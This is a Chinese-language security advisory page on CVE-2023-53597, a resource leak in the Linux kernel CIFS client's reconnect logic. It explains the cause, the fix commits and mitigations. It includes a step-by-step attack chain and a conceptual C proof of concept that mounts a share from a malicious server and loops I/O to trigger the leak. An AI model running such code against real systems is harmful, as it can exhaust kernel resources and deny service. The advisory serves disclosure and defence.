IPBUF安全漏洞报告
English
CVE-2023-53597 CVSS 5.5 中危

CVE-2023-53597 Linux内核CIFS模块mid请求泄漏漏洞

披露日期: 2025-10-04
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2023-53597
漏洞类型
资源泄漏/拒绝服务
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel(CIFS/SMB文件系统模块)

相关标签

Linux KernelCIFSSMB资源泄漏拒绝服务本地提权内核漏洞CVE-2023-53597内存泄漏mid leak

漏洞概述

CVE-2023-53597是Linux内核CIFS(Common Internet File System,通用互联网文件系统)模块中的一个中等严重性资源泄漏漏洞。该漏洞存在于CIFS客户端处理连接重连逻辑的代码路径中。当服务器返回的STATUS_IO_TIMEOUT状态响应数量超过预设阈值(NUM_STATUS_IO_TIMEOUT)时,内核会触发连接重连操作以恢复通信。然而,在重连过程中,代码未能正确释放与超时请求关联的mid(Mid Request,CIFS协议中的请求标识符)结构体,也未归还该mid对应的信用额度(credits),更没有减少正在进行的请求计数(in_flight)。

该漏洞可能导致两个严重后果:一是服务器端的in_flight计数器出现异常,导致后续请求调度逻辑出错;二是mid结构体发生泄漏,随着时间推移系统可用的mid资源将逐渐耗尽。在多通道(multi-channel)场景下,原有重连逻辑仅重连传输层连接,未重连会话和树连接,可能导致状态不一致问题。该漏洞的CVSS评分为5.5,攻击者需要本地低权限访问即可触发,可导致系统可用性受到高影响,可能引发内核级别的拒绝服务。

技术细节

从技术层面分析,该漏洞的核心问题在于CIFS客户端重连逻辑中的资源管理缺陷。

**漏洞原理**:
在CIFS协议实现中,每个客户端请求都会分配一个mid(Mid Request)结构体来跟踪请求状态。当请求完成(无论成功还是失败)时,需要通过特定函数(如cifs_mid_q_entry_release)释放mid并归还对应的credits。当服务器连续返回NUM_STATUS_IO_TIMEOUT个超时响应时,客户端会调用cifs_reconnect()进行连接重连。问题在于,原有代码在检测到超时阈值后立即执行重连逻辑,但跳过了mid释放和credits归还的代码路径,导致:
1. mid结构体泄漏(永久占用内存)
2. credits未归还(影响后续请求的资源分配)
3. server->in_flight计数不减少(影响并发控制)

**修复方案**:
1. 将超时阈值检查从响应处理早期移至响应解密之后(包括从transform header读取响应的情况),使mid释放代码可以被复用
2. 修改cifs_reconnect()函数,在多通道场景下同时重连会话(session)和树连接(tree connect),而不仅仅是传输层连接
3. 将常量NUM_STATUS_IO_TIMEOUT重命名为更具语义化的MAX_STATUS_IO_TIMEOUT

**利用方式**:
攻击者作为本地低权限用户,可以通过挂载恶意或受控的CIFS/SMB共享,并精心控制网络响应(例如通过中间人攻击或恶意SMB服务器),故意返回STATUS_IO_TIMEOUT状态码。当累积的超时响应达到阈值时,触发有缺陷的重连逻辑,持续泄漏mid资源,最终可能导致内核内存耗尽或in_flight计数异常引发系统不稳定。

攻击链分析

STEP 1
步骤1:环境准备
攻击者需要拥有目标系统的本地低权限访问权限,并具备挂载CIFS/SMB共享的能力。攻击者可以控制一个恶意的SMB服务器或通过中间人攻击控制网络流量。
STEP 2
步骤2:挂载恶意共享
攻击者使用mount命令挂载受控的CIFS共享到本地挂载点,建立与恶意服务器的CIFS连接。
STEP 3
步骤3:触发超时响应
攻击者持续对挂载的共享执行I/O操作(如open、read、write),恶意服务器对每个请求返回STATUS_IO_TIMEOUT状态码。
STEP 4
步骤4:达到阈值触发重连
当STATUS_IO_TIMEOUT响应数量达到NUM_STATUS_IO_TIMEOUT阈值时,内核调用cifs_reconnect()进行连接重连,但未释放mid、归还credits、减少in_flight计数。
STEP 5
步骤5:资源耗尽导致拒绝服务
mid结构体持续泄漏,server->in_flight计数异常,最终导致内核内存耗尽或并发控制失效,引发系统不稳定或拒绝服务。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2023-53597 PoC - Conceptual demonstration // This PoC demonstrates how to trigger the mid leak vulnerability // by causing STATUS_IO_TIMEOUT responses from a CIFS server. #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/mount.h> #include <fcntl.h> // Number of STATUS_IO_TIMEOUT responses needed to trigger reconnection // In vulnerable kernel, this constant was NUM_STATUS_IO_TIMEOUT #define MAX_STATUS_IO_TIMEOUT 4 /* * Step 1: Mount a CIFS share from a controlled server * The malicious server will deliberately respond with STATUS_IO_TIMEOUT */ int mount_malicious_share(const char *share_path, const char *mount_point) { char mount_opts[256]; snprintf(mount_opts, sizeof(mount_opts), "username=guest,password=,iocharset=utf8"); int ret = mount(share_path, mount_point, "cifs", 0, mount_opts); if (ret != 0) { perror("mount failed"); return -1; } printf("Mounted %s at %s\n", share_path, mount_point); return 0; } /* * Step 2: Continuously perform I/O operations on the mounted share * Each operation will trigger STATUS_IO_TIMEOUT from the malicious server */ void trigger_timeout_leak(const char *mount_point) { char file_path[256]; char buffer[4096]; int fd; // Loop to trigger enough timeouts to exceed MAX_STATUS_IO_TIMEOUT for (int i = 0; i < MAX_STATUS_IO_TIMEOUT * 10; i++) { snprintf(file_path, sizeof(file_path), "%s/testfile_%d", mount_point, i); // Attempt to open a file - this will trigger CIFS request fd = open(file_path, O_RDWR | O_CREAT, 0644); if (fd >= 0) { // Write data - server responds with STATUS_IO_TIMEOUT write(fd, buffer, sizeof(buffer)); close(fd); } // Small delay between operations usleep(100000); } printf("Triggered %d timeout responses\n", MAX_STATUS_IO_TIMEOUT * 10); } /* * Step 3: Monitor kernel for mid leaks * Check /proc/fs/cifs/Stats or kernel logs for evidence of resource exhaustion */ void check_leak_status() { printf("Checking system status for mid leaks...\n"); system("cat /proc/fs/cifs/Stats 2>/dev/null || echo 'Stats not available'"); system("dmesg | grep -i 'cifs' | tail -20"); } int main(int argc, char *argv[]) { if (argc < 3) { printf("Usage: %s <cifs_share> <mount_point>\n", argv[0]); printf("Example: %s //192.168.1.100/share /mnt/cifs\n", argv[0]); return 1; } printf("=== CVE-2023-53597 PoC ===\n"); printf("Linux Kernel CIFS Mid Leak Vulnerability\n\n"); if (mount_malicious_share(argv[1], argv[2]) != 0) { return 1; } trigger_timeout_leak(argv[2]); check_leak_status(); // Cleanup umount(argv[2]); printf("\nPoC completed. Check kernel logs for mid leak evidence.\n"); return 0; } /* * Server-side component (conceptual): * A malicious SMB/CIFS server should respond to requests with * NT_STATUS_IO_TIMEOUT status code. After receiving * MAX_STATUS_IO_TIMEOUT such responses, the vulnerable kernel * will trigger reconnection without properly releasing mids. */

影响范围

Linux Kernel(具体受影响版本需参考git.kernel.org补丁链接)
修复提交:57d25e9905c71133e201f6d06b56a3403d4ad433
修复提交:69cba9d3c1284e0838ae408830a02c4a063104bc
修复提交:c55901d381a22300c9922170e59704059f50977b
修复提交:df31d05f0678cdd0796ea19983a2b93edca18bb0

防御指南

临时缓解措施
在无法立即升级内核的情况下,建议采取以下临时缓解措施:1)限制普通用户使用mount.cifs命令的能力,通过移除suid位或使用sudo策略控制;2)仅挂载受信任的SMB/CIFS服务器,避免连接到不可控的网络共享;3)监控CIFS相关的内核日志,及时发现异常的重连行为和资源泄漏;4)在网络层面部署防火墙规则,限制CIFS通信(TCP端口445)的来源;5)使用systemd或cgroups限制CIFS挂载点的资源使用上限,防止单个挂载点耗尽系统资源。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表